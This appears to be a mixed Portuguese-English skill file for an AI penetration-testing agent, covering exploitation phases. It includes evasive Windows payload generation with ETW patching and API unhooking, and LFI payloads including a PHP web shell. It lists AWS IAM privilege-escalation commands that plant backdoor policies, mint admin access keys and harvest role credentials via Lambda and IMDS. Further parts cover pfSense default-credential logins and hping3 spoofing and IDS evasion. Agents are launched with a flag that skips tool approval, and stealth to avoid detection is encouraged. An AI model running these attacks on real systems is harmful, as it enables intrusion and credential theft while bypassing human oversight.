python -m watchtower.main -t https://target.com:2087 --skip-ask-tools

# Exploitation workflow:
# 1. whatweb: cPanel version detection
# 2. cve-mcp: CVE-2026-41940 verification
# 3. Exploit execution (poc.py)
# 4. Access validation

# Se exploit bem-sucedido:
# - Authentication bypass confirmado
# - Admin access obtido
# - Watchtower categoriza como CRITICAL
# - Evidências capturadas automaticamente

Watchtower Auto-Skill Loading para Exploitation

Keywords Detectadas	Skills Carregadas	Watchtower Tools Ativadas
`sqli` `sql injection`	pentest-exploitation	sqlmap, nuclei
`xss`	pentest-exploitation	dalfox, xsstrike, xsser
`wordpress` `wp`	pentest-exploitation	wpscan
`lfi` `rfi`	pentest-exploitation	nuclei, jaeles
`auth bypass`	pentest-exploitation	nuclei, http_repeater
`rce` `command injection`	pentest-exploitation	nuclei, jaeles
`pfsense`	pentest-pfsense	cve-mcp, nuclei
`cpanel` `whm`	pentest-exploitation	cve-mcp (CVE-2026-41940)
`payload` `shell`	pentest-exploitation	msfvenom, boaz

Watchtower Exploitation Tools

Tool	Category	Exploitation Type	Success Rate
sqlmap	SQL Injection	SQLi detection + exploitation	High
dalfox	XSS	Reflected, stored, DOM XSS	High
xsstrike	XSS	XSS + payload generation	High
xsser	XSS	Comprehensive XSS testing	Moderate
wpscan	CMS	WordPress exploitation	High
nuclei	Vuln Exploitation	CVE exploitation templates	Moderate
jaeles	Signature-based	Web app exploitation	Moderate
msfvenom	Payload Gen	Custom payload generation	N/A
metasploit	Exploitation Framework	Module execution	High
boaz	Payload Gen	Evasive Windows payloads	High

Watchtower BOAZ Payload Generation

# Watchtower usa BOAZ para payload generation:

# 1. Generate evasive payload
mcp__boaz__generate_payload(
    input_file="shell.exe",
    loader=1,
    shellcode_type="inject",
    encoding="base64",
    compiler="gcc",
    sleep_obf=True,
    anti_emulation=True,
    etw_patch=True,
    junk_api=True,
    api_unhooking=True
)

# 2. List available loaders
mcp__boaz__list_loaders()

# 3. List generated outputs
mcp__boaz__list_outputs()

# Payload features:
# - ETW patching
# - API unhooking
# - Sleep obfuscation
# - Anti-emulation
# - Junk code insertion
# - Self-deletion

Watchtower Attack Chain Execution

┌─────────────────────────────────────────────────────────────┐
│              Watchtower Exploitation Workflow                │
└─────────────────────────────────────────────────────────────┘
                              │
        ┌─────────────────────┼─────────────────────┐
        │                     │                     │
        ▼                     ▼                     ▼
┌───────────────┐   ┌─────────────────┐   ┌───────────────┐
│  Detection    │   │  Exploitation   │   │  Validation   │
│               │   │                 │   │               │
│ - sqlmap      │   │ - sqlmap --os-  │   │ - Analyst     │
│ - dalfox      │   │   shell         │   │   validates   │
│ - wpscan      │   │ - dalfox --blind│   │ - Evidence    │
│ - nuclei      │   │ - nuclei exploit│   │   captured    │
└───────────────┘   └─────────────────┘   └───────────────┘

Watchtower + AIRecon Combined Workflow

# 1. AIRecon para exploitation planning
airecon "plan exploitation for target.com SQL injection"

# 2. Watchtower para automated exploitation
python -m watchtower.main -t https://www.example.com \
  --focus sqli \
  --skip-ask-tools

# 3. AIRecon para análise de resultados
airecon "analyze watchtower exploitation results"

# 4. AIRecon + BOAZ para payload generation
airecon "generate evasive payload for Windows 11 + Defender"

# 5. Watchtower gera relatório PDF
python -m watchtower.main --report "exploitation_report.pdf"

Watchtower + Metasploit Integration

# Watchtower integra com Metasploit via MCP tools:

# 1. Search for relevant module
airecon "search metasploit module for CVE-2021-44228"

# 2. Execute module via Watchtower
python -m watchtower.main -t https://www.example.com \
  --metasploit-module exploit/multi/http/log4shell \
  --skip-ask-tools

# 3. Watchtower Analyst valida sucesso
# 4. Session information captured

Watchtower Authentication Bypass Testing

# Watchtower testa authentication bypass automaticamente
python -m watchtower.main -t https://www.example.com \
  --focus auth-bypass \
  --skip-ask-tools

# Técnicas testadas:
# - SQL injection em login forms
# - Default credentials
# - Session manipulation
# - JWT token bypass
# - 2FA bypass attempts
# - Password reset abuse

# Se bypass bem-sucedido:
# - Watchtower Analyst valida acesso
# - Captura evidências
# - Categoriza por severidade

Watchtower File Inclusion Testing

# Watchtower testa LFI/RFI automaticamente
python -m watchtower.main -t https://www.example.com \
  --focus lfi \
  --skip-ask-tools

# Vulnerabilidades testadas:
# - Local File Inclusion (LFI)
# - Remote File Inclusion (RFI)
# - Path Traversal
# - File Upload bypass

# Payloads usadas:
# - ../../../etc/passwd
# - php://filter/convert.base64-encode
# - data://text/plain,<?php system($_GET['c']); ?>
# - file:///etc/passwd

Watchtower Exploitation Output Formats

# JSON output para integração
python -m watchtower.main -t target.com \
  --output json \
  --skip-ask-tools \
  -o exploitation_findings.json

# PDF report automático
python -m watchtower.main -t target.com \
  --report "exploitation_report.pdf" \
  --skip-ask-tools

# Evidence capture:
# - Screenshots de sucesso
# - Command output logs
# - Session information
# - Credential dumps

Watchtower Exploitation Success Validation

Watchtower Analyst valida explorações bem-sucedidas:

Validation Criteria:
1. Expected response pattern match
2. Command execution confirmation
3. Data exfiltration success
4. Session establishment
5. Error message analysis

Success Indicators:
- SQLi: Database version, user, tables extracted
- XSS: Alert executed, cookie stolen
- RCE: Command output returned
- Auth Bypass: Admin access confirmed
- LFI: File contents disclosed

Watchtower + WorstAssume Attack Chain Integration

# 1. WorstAssume identifica attack chains
worst assess --min-severity HIGH --output json > worst_findings.json

# 2. Watchtower para exploitation externa
python -m watchtower.main -t https://external-target.com \
  --skip-ask-tools

# 3. Consolidar findings
# WorstAssume: IAM privilege escalation chains
# Watchtower: External exploitation success

airecon "merge worstassume attack chains with watchtower exploits"

# 4. Gerar relatório unificado
python -m watchtower.main --report "consolidated_exploitation_report.pdf"

Watchtower Exploitation Report Generation

# Gerar relatório PDF automático (PTES Phase 6)
python -m watchtower.main --report "exploitation_report.pdf"

# Relatório inclui:
# - Executive Summary
# - Exploitation Summary by Type
# - Successful Exploits (with evidence)
# - Failed Attempts
# - Risk Matrix
# - CVE Details (se aplicável)
# - Technical Findings
# - Remediation Recommendations
# - Evidence Appendices (screenshots, logs)
# - References (Exploit-DB, GitHub, vendor advisories)

Watchtower Error Handling

Watchtower implementa retry logic e fallback automático:

Se exploração falha:
1. Retry com payload alternativo
2. Fallback para ferramenta alternativa:
   - sqlmap falha → nuclei SQLi templates
   - dalfox falha → xsstrike
   - wpscan falha → nuclei WordPress templates
3. Reporta falha após 3 retries
4. Continua com próximas explorações

Referências PTES

PTES Section 4: Exploitation
PTES 4.1: Precision Strike (Countermeasure Bypass)
PTES 4.2: Customized Exploitation (Fuzzing, Brute-Force)
PTES 4.4: Attacking the User (Web Attacks, SET)
PTES 4.7: Pillaging (Data Exfiltration, Database Enumeration)
PTES 4.9: Further Penetration (Pivoting, Cleanup)
PTES 4.10: Persistence

name	pentest-exploitation
description	PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection
type	skill

PTES Phase 5: Exploitation

🎯 pfSense Detection & Routing

IMPORTANTE: Se durante a exploração você identificar pfSense, ATIVE A SKILL pentest-pfsense imediatamente.

Indicadores de pfSense

# Default credentials test
curl -sk -c cookies.txt -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/

# Web GUI check
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"

# Service enumeration
nmap -sV -p 443,22,1194,500 TARGET | grep -iE "nginx|openssh|openvpn"

Sinais de Alerta

Credenciais padrão funcionam (admin:pfsense)
Web GUI pfSense acessível
diag_command.php acessível (RCE pós-auth)
XMLRPC disponível (exec_shell, exec_php)
Pacotes vulneráveis (pfBlockerNG, Suricata, Snort)

Ação Imediata

# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para exploração geral (AWS)
# Use pentest-pfsense para:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation

Objetivo

Explorar ativamente as vulnerabilidades identificadas para confirmar impacto real e simular ataques de um adversário, seguindo PTES Section 4 (Exploitation).

WorstAssume Attack Chain Engine (worstassume/core/attack_chains.py)

7 Attack Chain Families

# Family I - IAM Self-Modification (attack_chains.py:278-338)
I. CreatePolicy + AttachUserPolicy → Self Admin Escalation
   - Severity: CRITICAL
   - Steps: CreatePolicy → AttachUserPolicy → Admin Access

II. CreatePolicy + AttachRolePolicy → Role Privilege Escalation
   - Severity: CRITICAL
   - Steps: CreatePolicy → AttachRolePolicy → AssumeRole

# Family II - PassRole + Compute Service (attack_chains.py:343-403)
II. PassRole + CloudFormation CreateStack → IAM User Creation
    - Chain-ID: PassRole+CFN→IAMUser
    - Severity: CRITICAL
    
II. PassRole + Lambda CreateFunction → Steal Execution Role
    - Chain-ID: PassRole+Lambda→StealRole
    - Severity: CRITICAL

II. PassRole + EC2 RunInstances → IMDS Credential Theft
    - Chain-ID: PassRole+EC2→IMDSSteal
    - Severity: HIGH

# Family III - Compute Credential Theft (attack_chains.py:406-522)
III. SSM SendCommand → Steal Instance Profile
     - Chain-ID: SSMSendCommand→StealInstanceRole
     - Severity: HIGH

III. EC2 ModifyUserData → Steal Role via UserData
     - Chain-ID: EC2ModifyUserData→StealRole
     - Severity: HIGH

III. Lambda UpdateCode → Steal Execution Role
     - Chain-ID: Lambda:UpdateCode→StealExecRole
     - Severity: HIGH

III. ECS UpdateService → Steal Task Role
     - Chain-ID: ECS:UpdateService→StealTaskRole
     - Severity: HIGH

# Family IV - Secret Exfiltration → Credential Reuse (attack_chains.py:525-620)
IV. SecretsManager GetSecretValue → IAM Key Reuse
    - Chain-ID: SecretsManager→IAMKeyReuse
    - Severity: HIGH/MEDIUM

IV. SSM GetParameter → IAM Key Reuse
    - Chain-ID: SSMParameter→IAMKeyReuse
    - Severity: HIGH/MEDIUM

IV. Lambda GetFunction → Env Secrets
    - Chain-ID: Lambda:GetFunction→EnvSecrets
    - Severity: MEDIUM

IV. S3 GetObject → Credential Files
    - Chain-ID: S3:GetObject→CredFile
    - Severity: MEDIUM

# Family V - Account Takeover (attack_chains.py:623-729)
V. UpdateLoginProfile → Console Takeover
   - Chain-ID: UpdateLoginProfile→ConsoleTakeover
   - Severity: CRITICAL

V. MFA Bypass + UpdateLogin → Takeover Without MFA
   - Chain-ID: MFABypass+UpdateLogin→Takeover
   - Severity: CRITICAL

V. CreateAccessKey → Persistent Admin Access
   - Chain-ID: CreateAccessKey→PersistentAdmin
   - Severity: CRITICAL

V. UpdateAssumeRolePolicy + AssumeRole → Role Takeover
   - Chain-ID: UpdateAssumeRole+AssumeRole→Takeover
   - Severity: CRITICAL

# Family VI - Group Membership (attack_chains.py:732-779)
VI. AddUserToGroup → Join High-Privilege Group
    - Chain-ID: AddUserToGroup→GroupPrivEsc
    - Severity: HIGH

VI. PutGroupPolicy + AddUserToGroup → Self-Escalation
    - Chain-ID: PutGroupPolicy+AddUser→SelfEscalation
    - Severity: CRITICAL

# Family VII - Cross-Account Lateral Movement (attack_chains.py:782-846)
VII. WildcardTrust → Any Principal Assumes High-Priv Role
     - Chain-ID: WildcardTrust→AnyPrincipalAssume
     - Severity: CRITICAL

VII. Cross-Account Trust → Dangerous Role → Lateral Movement
     - Chain-ID: CrossAccount→DangerousRole
     - Severity: CRITICAL

PrivEsc Finding Families (A-F)

# Family A - IAM Policy Manipulation (attack_chains.py:1018-1099)
A. CreatePolicyVersion (CRITICAL)
B. SetDefaultPolicyVersion (CRITICAL)
C. AttachUserPolicy (CRITICAL)
D. AttachRolePolicy (CRITICAL)
E. AttachGroupPolicy (CRITICAL)
F. PutUserPolicy (CRITICAL)
G. PutRolePolicy (CRITICAL)
H. PutGroupPolicy (CRITICAL)
I. CreatePolicy (HIGH)
J. AddUserToGroup (HIGH)

# Family B - Role Trust/Assumption Manipulation (attack_chains.py:1102-1126)
A. UpdateAssumeRolePolicy (CRITICAL)
B. WildcardTrustPrincipal (CRITICAL)
C. AssumeRoleWildcardResource (HIGH)

# Family C - Compute: PassRole + Resource Abuse (attack_chains.py:1129-1234)
A. PassRole+Lambda:CreateFunction (CRITICAL)
B. PassRole+Lambda:UpdateFunctionCode (HIGH)
C. PassRole+EC2:RunInstances (HIGH)
D. PassRole+ECS:RegisterTaskDefinition (HIGH)
E. PassRole+ECS:UpdateService (HIGH)
F. PassRole+CloudFormation:CreateStack (CRITICAL)
G. PassRole+CloudFormation:UpdateStack (HIGH)
H. PassRole+Glue:CreateJob (HIGH)
I. PassRole+SageMaker:CreateTrainingJob (HIGH)
J. PassRole+CodeBuild:CreateProject (HIGH)
K. PassRole+DataPipeline (MEDIUM)
L. PassRole+SSM:SendCommand (HIGH)

# Family D - Credential/Key Exfiltration (attack_chains.py:1237-1295)
A. EC2:ModifyInstanceAttribute (HIGH)
B. SSM:SendCommand (HIGH)
C. SecretsManager:GetSecretValue (HIGH)
D. SSM:GetParameter (MEDIUM)
E. Lambda:GetFunction (MEDIUM)
F. S3:GetObject:Wildcard (MEDIUM)

# Family E - Service-Specific Escalation (attack_chains.py:1298-1344)
A. UpdateLoginProfile (CRITICAL)
B. CreateLoginProfile (HIGH)
C. CreateAccessKey (CRITICAL)
D. UpdateAccessKey (MEDIUM)
E. MFABypass (HIGH)

# Family F - Trust Condition Bypass (attack_chains.py:1347-1426)
A. TrustPolicyNoCondition (HIGH)
B. TrustPolicyNoExternalId (HIGH)
C. TrustPolicyNoMFARequired (MEDIUM)

PATH-IDs (42 Attack Paths)

PATH-001: iam:CreatePolicyVersion → Admin em qualquer policy gerenciada
PATH-002: iam:SetDefaultPolicyVersion → Ativar versão dormante
PATH-003: iam:AttachUserPolicy → Attach em user
PATH-004: iam:AttachRolePolicy → Attach em role
PATH-005: iam:AttachGroupPolicy → Attach em group
PATH-006: iam:PutUserPolicy → Inline policy em user
PATH-007: iam:PutRolePolicy → Inline policy em role
PATH-008: iam:PutGroupPolicy → Inline policy em group
PATH-009: iam:AddUserToGroup → Herdar permissões
PATH-010: iam:UpdateAssumeRolePolicy → Modificar trust
PATH-011: iam:CreateAccessKey → Key persistente
PATH-012: iam:CreateLoginProfile → Console access
PATH-013: iam:UpdateLoginProfile → Overwrite password
PATH-014: IMDSv1 → Credential theft (IMDSv1 enabled)
PATH-015: ec2:RunInstances + iam:PassRole → EC2 instance profile
PATH-016: lambda:CreateFunction + iam:PassRole → Lambda execution role
PATH-018: lambda:CreateEventSourceMapping → Auto-trigger
PATH-019: lambda:UpdateFunctionCode → Inject code
PATH-020: lambda:UpdateFunctionConfiguration → Malicious layer
PATH-021: glue:CreateDevEndpoint → SSH access
PATH-022: glue:UpdateDevEndpoint → SSH key injection
PATH-023: cloudformation:CreateStack → Service role
PATH-024: datapipeline:CreatePipeline → Shell activity
PATH-025: sagemaker:CreateNotebookInstance → Notebook
PATH-026: sagemaker:CreatePresignedUrl → Session hijack
PATH-027: codestar:CreateProject → Project role
PATH-030: sts:AssumeRole (same-account) → Role assumption
PATH-031: sts:AssumeRole (cross-account) → Lateral movement
PATH-032: ssm:SendCommand → RCE via Run Command
PATH-033: ec2:InstanceConnect → SSH via public key
PATH-035: s3:PutBucketPolicy → Bucket access
PATH-036: secretsmanager:GetSecretValue → Secret harvest
PATH-037: ecs-tasks:GetTaskMetadata → Task role creds
PATH-042: cloudtrail:StopLogging / guardduty:DeleteDetector → Defensive blinding

Referências PTES para Exploitation

PTES 4.1 - Precision Strike

4.1.1 Countermeasure Bypass:
- 4.1.1.1 AV (Antivirus)
- 4.1.1.2 Human (Social Engineering)
- 4.1.1.3 HIPS (Host Intrusion Prevention)
- 4.1.1.4 DEP (Data Execution Prevention)
- 4.1.1.5 ASLR (Address Space Layout Randomization)
- 4.1.1.8 WAF (Web Application Firewall)
- 4.1.1.9 Stack Canaries

PTES 4.2 - Customized Exploitation

4.2.1 Fuzzing (Dumb, Intelligent)
4.2.4 Sniffing (Wireshark, Tcpdump)
4.2.5 Brute-Force (THC-Hydra, Medusa, Ncrack)
4.2.14 VLAN Hopping
4.2.15 VTP Attacks

PTES 4.4 - Attacking the User

4.4.1 Karmetasploit Attacks
4.4.5 Web Attacks (SQLi, XSS, CSRF)
4.4.10 The Social-Engineer Toolkit (SET)

PTES 4.7 - Pillaging

4.7.2 Data Exfiltration
4.7.3 Locating Shares
4.7.6 Database Enumeration
4.7.8 Source Code Repos
4.7.11 Backups

PTES 4.9 - Further Penetration

4.9.1 Pivoting Inside (History/Logs)
4.9.2 Cleanup

PTES 4.10 - Persistence

⚠️ AVISO IMPORTANTE

Execute apenas em ambientes autorizados
Tenha approval explícito para cada técnica de exploração
Documente todas as ações para o relatório
Use stealth mode quando necessário para evitar detecção

Exploração com WorstAssume

1. Descoberta de Attack Paths (PTES 4.2 - Customized Exploitation)

# Encontrar todos os paths de privilege escalation
worst privesc --from arn:aws:iam::ACCOUNT:user/USER

# Paths com target específico (permission)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "permission:*:*"

# Paths com target específico (role)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "principal:arn:aws:iam::ACCOUNT:role/Admin"

# Output em JSON para automação (PTES 4.9 - Pivoting)
worst privesc --from <arn> --output json

# Limitar hops (para ambientes grandes)
worst privesc --from <arn> --max-hops 5

2. Técnicas de Exploração por Categoria (PTES 4.1 - Precision Strike)

EXPLOIT-IAM-001: Policy Version Creation (PTES 4.1.1 - Countermeasure Bypass)

VULNERABILITY: iam:CreatePolicyVersion
PATH-ID: PATH-001
SEVERITY: CRITICAL
PTES: 4.1.1 - Countermeasure Bypass

EXPLOITATION STEPS:
1. Identificar policy gerenciada acessível
2. Criar nova versão com AdministratorAccess
3. Definir como versão default
4. Acessar com privilégios elevados

COMANDOS DE EXPLORAÇÃO:
# Criar nova versão da policy
aws iam create-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default

# Policy document malicioso
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

VERIFICAÇÃO:
aws iam list-policy-versions --policy-arn <arn>

EXPLOIT-IAM-002: Attach Policy (PTES 4.2 - Customized Exploitation)

VULNERABILITY: iam:AttachUserPolicy / iam:AttachRolePolicy
PATH-ID: PATH-003, PATH-004
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar policy com AdministratorAccess
2. Attach policy ao próprio user/role
3. Aguardar propagação (~30 segundos)
4. Verificar novas permissões

COMANDOS DE EXPLORAÇÃO:
aws iam attach-user-policy \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --user-name <self-user>

VERIFICAÇÃO:
aws iam list-attached-user-policies --user-name <user>

EXPLOIT-IAM-003: Inline Policy Injection (PTES 4.2.1 - Fuzzing)

VULNERABILITY: iam:PutUserPolicy / iam:PutRolePolicy
PATH-ID: PATH-006, PATH-007
SEVERITY: CRITICAL
PTES: 4.2.1 - Fuzzing

EXPLOITATION STEPS:
1. Criar policy document malicioso
2. Inject inline policy no target
3. Usar novas permissões

COMANDOS DE EXPLORAÇÃO:
aws iam put-user-policy \
  --user-name <target-user> \
  --policy-name BackdoorPolicy \
  --policy-document file://admin-policy.json

EXPLOIT-IAM-004: Group Membership Escalation (PTES 4.7.3 - Locating Shares)

VULNERABILITY: iam:AddUserToGroup
PATH-ID: PATH-009
SEVERITY: HIGH
PTES: 4.7.3 - Locating Shares

EXPLOITATION STEPS:
1. Identificar grupo com permissões elevadas
2. Adicionar próprio user ao grupo
3. Herdar permissões do grupo

COMANDOS DE EXPLORAÇÃO:
aws iam add-user-to-group \
  --user-name <self-user> \
  --group-name AdminGroup

VERIFICAÇÃO:
aws iam list-groups-for-user --user-name <user>

EXPLOIT-IAM-005: Trust Policy Modification (PTES 4.2 - Customized Exploitation)

VULNERABILITY: iam:UpdateAssumeRolePolicy
PATH-ID: PATH-010
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar role de alto valor
2. Modificar trust policy para incluir próprio ARN
3. Assumir a role
4. Acessar com privilégios elevados

COMANDOS DE EXPLORAÇÃO:
# Criar novo trust policy
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "AWS": [
        "arn:aws:iam::ACCOUNT:user/attacker",
        "arn:aws:iam::ACCOUNT:role/original-role"
      ]
    },
    "Action": "sts:AssumeRole"
  }]
}

# Atualizar trust policy
aws iam update-assume-role-policy \
  --role-name <target-role> \
  --policy-document file://new-trust.json

# Assumir role
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT:role/target-role \
  --role-session-name exploitation

EXPLOIT-IAM-006: Credential Creation (PTES 4.7 - Pillaging)

VULNERABILITY: iam:CreateAccessKey / iam:CreateLoginProfile
PATH-ID: PATH-011, PATH-012
SEVERITY: CRITICAL
PTES: 4.7 - Pillaging

EXPLOITATION STEPS (Access Key):
1. Identificar user alvo (admin)
2. Criar access key para o user
3. Salvar credenciais
4. Usar credenciais persistentes

COMANDOS DE EXPLORAÇÃO:
aws iam create-access-key --user-name <admin-user>

# Output:
# {
#   "AccessKey": {
#     "AccessKeyId": "AKIA...",
#     "SecretAccessKey": "secret..."
#   }
# }

# Configurar perfil
aws configure set aws_access_key_id AKIA... --profile compromised
aws configure set aws_secret_access_key secret... --profile compromised

EXPLOITATION STEPS (Console):
aws iam create-login-profile \
  --user-name <admin-user> \
  --password 'SecurePassword123!' \
  --no-password-reset-required

ACESSO:
https://ACCOUNT_ID.signin.aws.amazon.com/console
Username: <admin-user>
Password: SecurePassword123!

EXPLOIT-COMPUTE-001: PassRole + Lambda (PTES 4.2 - Customized Exploitation)

VULNERABILITY: iam:PassRole + lambda:CreateFunction
PATH-ID: PATH-016
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Criar Lambda function com essa role
3. Inject código malicioso
4. Invocar function
5. Coletar credenciais da role

COMANDOS DE EXPLORAÇÃO:
# Criar deployment package
mkdir lambda_function
cd lambda_function
echo "import os
def lambda_handler(event, context):
    return {
        'access_key': os.environ['AWS_ACCESS_KEY_ID'],
        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],
        'session_token': os.environ.get('AWS_SESSION_TOKEN', '')
    }" > lambda_function.py
zip -r function.zip .

# Criar function
aws lambda create-function \
  --function-name exfil-function \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/high-priv-role \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

# Invocar
aws lambda invoke \
  --function-name exfil-function \
  --cli-binary-format raw-in-base64-out \
  --payload '{}' \
  output.json

cat output.json

EXPLOIT-COMPUTE-002: PassRole + EC2 (PTES 4.7.2 - Data Exfiltration)

VULNERABILITY: iam:PassRole + ec2:RunInstances
PATH-ID: PATH-015
SEVERITY: HIGH
PTES: 4.7.2 - Data Exfiltration

EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Launch EC2 instance com instance profile
3. Acessar instância (SSH/SSM)
4. Coletar credenciais do IMDS

COMANDOS DE EXPLORAÇÃO:
aws ec2 run-instances \
  --image-id ami-0c55b159cbfafe1f0 \
  --instance-type t2.micro \
  --iam-instance-profile Name=high-priv-profile \
  --security-group-ids sg-xxx \
  --subnet-id subnet-xxx

# Acessar via SSM
aws ssm start-session --target <instance-id>

# Coletar credenciais (dentro da instância)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

EXPLOIT-COMPUTE-003: SSM Lateral Movement (PTES 4.9 - Pivoting)

VULNERABILITY: ssm:SendCommand
PATH-ID: PATH-032
SEVERITY: HIGH
PTES: 4.9.1 - Pivoting Inside

EXPLOITATION STEPS:
1. Identificar EC2 instances gerenciadas pelo SSM
2. Enviar Run Command
3. Executar comandos como a role da instância

COMANDOS DE EXPLORAÇÃO:
aws ssm send-command \
  --document-name "AWS-RunShellScript" \
  --targets "Key=instanceIds,Values=<instance-id>" \
  --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"]' \
  --comment "Exploitation test"

# Ver resultado
aws ssm list-command-invocations --command-id <command-id> --details

EXPLOIT-DATA-001: Secrets Manager Harvest (PTES 4.7 - Pillaging)

VULNERABILITY: secretsmanager:GetSecretValue
PATH-ID: PATH-036
SEVERITY: HIGH
PTES: 4.7 - Pillaging

EXPLOITATION STEPS:
1. Listar todos os secrets
2. Ler valor de cada secret
3. Extrair credenciais/dados sensíveis

COMANDOS DE EXPLORAÇÃO:
# Listar secrets
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}'

# Ler cada secret
aws secretsmanager get-secret-value --secret-id <secret-name> --query 'SecretString' --output text

EXPLOIT-CROSS-001: Cross-Account Assumption (PTES 4.9 - Pivoting)

VULNERABILITY: Cross-account trust + sts:AssumeRole
PATH-ID: PATH-031
SEVERITY: CRITICAL
PTES: 4.9.1 - Pivoting Inside

EXPLOITATION STEPS:
1. Identificar role cross-account com trust adequado
2. Assumir role da conta alvo
3. Executar ações na conta alvo

COMANDOS DE EXPLORAÇÃO:
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/cross-account-role \
  --role-session-name cross-account-exploit

# Configurar credenciais da conta alvo
export AWS_ACCESS_KEY_ID=<from assume-role output>
export AWS_SECRET_ACCESS_KEY=<from assume-role output>
export AWS_SESSION_TOKEN=<from assume-role output>

# Verificar identidade na conta alvo
aws sts get-caller-identity

3. Cadeias de Exploração Completa (PTES 4.2 - Customized Exploitation)

Chain A: IAM → Admin Completo (PTES 4.1 - Precision Strike)

CHAIN: CreatePolicy + AttachUserPolicy
PTES: 4.1 - Precision Strike
STEPS:
1. aws iam create-policy-version --policy-arn <policy> --policy-document admin.json --set-as-default
2. aws iam attach-user-policy --policy-arn <policy> --user-name <self>
3. aws sts get-caller-identity (verificar permissões)

IMPACTO: Admin completo na conta

Chain B: PassRole → Lambda → Admin (PTES 4.2 - Customized Exploitation)

CHAIN: PassRole + Lambda CreateFunction
PTES: 4.2 - Customized Exploitation
STEPS:
1. aws lambda create-function --role <high-priv-role> --function-name backdoor
2. aws lambda invoke --function-name backdoor
3. Coletar credenciais do output

IMPACTO: Credenciais de role administrativa

Chain C: Cross-Account → Lateral Movement (PTES 4.9 - Pivoting)

CHAIN: Cross-Account Trust → Dangerous Role
PTES: 4.9.1 - Pivoting Inside
STEPS:
1. aws sts assume-role --role-arn arn:aws:iam::TARGET:role/exploit
2. aws iam attach-user-policy (na conta alvo)
3. aws s3 ls (acessar dados na conta alvo)

IMPACTO: Comprometimento de múltiplas contas

EXPLOIT-NET-000: Network Reconnaissance com Naabu (PTES 4.1 - Precision Strike)

Nota: Antes de explorar, use Naabu para identificar superfície de ataque:

# Identificar portas abertas (alvos potenciais)
naabu -host target.com -p - -silent

# Com service discovery
naabu -host target.com -p - -sV -silent

# Identificar CDN/WAF
naabu -host target.com -ec -cdn -silent

# Output para análise
naabu -host target.com -j -o scan-results.json

Use os resultados do Naabu para priorizar alvos de exploração.

EXPLOIT-NET-001: Firewall Bypass e IDS Evasion com hping3 (PTES 4.1.1 - Countermeasure Bypass)

VULNERABILITY: Firewall ruleset misconfiguration / IDS evasion
TOOL: hping3 (instalado no Kali Linux)
SEVERITY: HIGH (depende do contexto)
PTES: 4.1.1 - Countermeasure Bypass / 4.2.5 - Brute-Force

QUANDO USAR:
- Firewall stateless detectado na fase de Intelligence Gathering
- IDS/IPS precisa ser testado para detecção de scans
- Necessário bypass de filtros de pacote por fragmentação
- Testar rate limiting de rede
- Mapear comportamento de firewall para exploração posterior

EXPLOITATION STEPS:

1. ACK Scan para bypass de firewall stateless
   hping3 -A -p 80 target.com
   # RST = porta não filtrada (firewall stateless não rastreia estado)
   # Sem resposta = firewall stateful ou drop

2. SYN Scan com fragmentação (bypass de ACLs)
   hping3 -S -p 80 -f target.com
   # Fragmenta packets em 2 partes, bypass de regras simples

3. XMAS Scan para evasão de IDS básico
   hping3 -F -P -U -p 80 target.com
   # Flags FIN+PUSH+URG, padrão anômalo que alguns IDS não detectam

4. NULL Scan (sem flags)
   hping3 -O -p 80 target.com
   # Nenhuma flag TCP, bypass de filtros baseados em flags

5. Source IP Spoofing para testes de IDS
   hping3 -S -p 80 -a 10.0.0.1 target.com
   # Testa se IDS correlaciona respostas com origem real

6. Random source IP (teste de detecção de spoofing)
   hping3 -S -p 80 --rand-source target.com

INTERPRETAÇÃO DOS RESULTADOS:
- SYN-ACK recebido = porta aberta (firewall permite)
- RST recebido = porta fechada (firewall permite)
- Sem resposta = porta filtrada ou drop pelo firewall

PAYLOADS DE FRAGMENTAÇÃO:
# Fragmentação manual com offset customizado
hping3 -S -p 80 -f -g 8 target.com  # offset de 8 bytes

# MTU virtual para fragmentação automática
hping3 -S -p 80 -m 16 target.com  # MTU de 16 bytes

DEFENSIVE BLINDING TEST (PTES 4.9.2 - Cleanup):
# Testar se tráfego é logado
hping3 -S -p 80 -c 10 target.com
# Verificar logs do firewall/IDS após scan

TEMPLATE DE FINDING:
FINDING: FIREWALL-BYPASS-HPING3
CATEGORY: NETWORK_EXPLOITATION
SEVERITY: HIGH
PTES: 4.1.1 - Countermeasure Bypass

TARGET:
- IP/Hostname: [target]
- Portas acessíveis via bypass: [lista]

DESCRIPTION:
Firewall stateless detectado permite bypass via ACK scan.
Portas [X, Y, Z] acessíveis usando técnicas de evasão.

EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)

PTES REFERENCE: Section 4.1.1 (Countermeasure Bypass)

